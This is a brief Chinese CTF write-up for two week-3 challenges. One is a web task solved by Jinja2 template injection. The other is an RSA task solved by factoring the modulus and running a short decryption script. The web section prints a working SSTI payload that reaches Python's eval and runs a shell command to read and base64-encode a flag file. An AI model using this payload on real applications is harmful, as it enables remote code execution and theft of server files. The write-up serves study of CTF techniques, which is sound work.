Week3
太难了，菜鸡只会两道

1.Forgetful

简单测试发现是对返回内容有一个判断，应该是正则匹配了 hgame，那么编码 一下就好了，payload 如下
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag | base64').read()") }}{% endif %}{% endfor %}
此外如果不将 flag 用 base64 加密的话，网页会弹出 stop，base64 解码即可得到 flag

2. LikiPrime

感觉和上周的 rsa 套路是一样的，先用 http://www.factordb.com 分解大数，然后再用脚本求出明文

```
import libnum
from Crypto.Util.number import long_to_bytes

c =
n =
e =
q =
p =

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
string = long_to_bytes(m)
print(string)
```